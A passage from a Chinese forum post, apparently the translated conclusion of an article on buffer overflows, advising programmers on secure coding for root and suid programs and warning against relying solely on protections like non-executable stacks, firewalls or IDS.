。 然 后 ， 漏 洞 出 现 了 ， 证 明 能 够 利 用 ， 这 就 要 急 于 更 新 了 。 了 ， 证 明 能 够 利 用 ， 这 就 要 急 于 更 新 了 。 作 为 程 序 员 ， 写 一 个 安 全 的 程 序 是 一 个 艰 巨 的 任 务 ， 但 是 要 认 真 的 对 待 。 在 写 入 服 务 器 时 就 变 的 更 加 值 得 关 注 ， 任 何 类 型 的 安 全 程 序 ， 或 是 s u i d   r o o t 的 程 序 ， 或 是 设 计 时 使 用 r o o t 来 运 行 ， 如 特 别 的 账 户 或 是 系 统 本 身 。 应 用 范 围 检 测 ， 分 配 动 态 缓 冲 器 ， 输 入 的 依 赖 性 ， 数 据 大 小 ， 小 心 f o r ， w h i l e 等 。 收 集 数 据 和 填 充 缓 冲 区 ， 以 及 一 般 处 理 用 户 很 关 心 的 输 入 循 环 是 我 建 议 的 主 要 原 则 。 目 前 使 用 非 可 执 行 的 栈 ， s u i d 包 ， 防 卫 程 序 来 核 对 返 回 值 ， 边 界 核 查 编 辑 器 等 技 术 来 阻 止 溢 出 问 题 ， 从 而 在 安 全 行 业 取 得 了 显 著 的 成 绩 。 你 应 该 可 以 使 用 这 些 技 术 在 特 定 的 情 况 下 ， 但 是 不 要 完 全 依 赖 他 们 。 如 果 你 运 行 v a n i l l a 的 U N I X 发 行 版 时 ， 有 溢 出 保 护 或 是 防 火 墙 / I D S ， 但 是 不 要 假 设 很 安 全 。 它 不 能 保 证 安 全 ， 如 果 你 继 续 使 用 不 安 全 的 程 序 ， 因 为 所 有 安 全 程 序 是 软 件 的 同 时 包 含 自 身 漏 洞 的 ， 至 少 他 们 不 是 完 美 的 。 如 果 你 频 繁 的 使 用 更 新 和 安 全 措 施 ， 你 仍 然 不 能 得 到 渴 望 的 安 全 ， 你 只 能 希 望 是 安 全 的 。
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理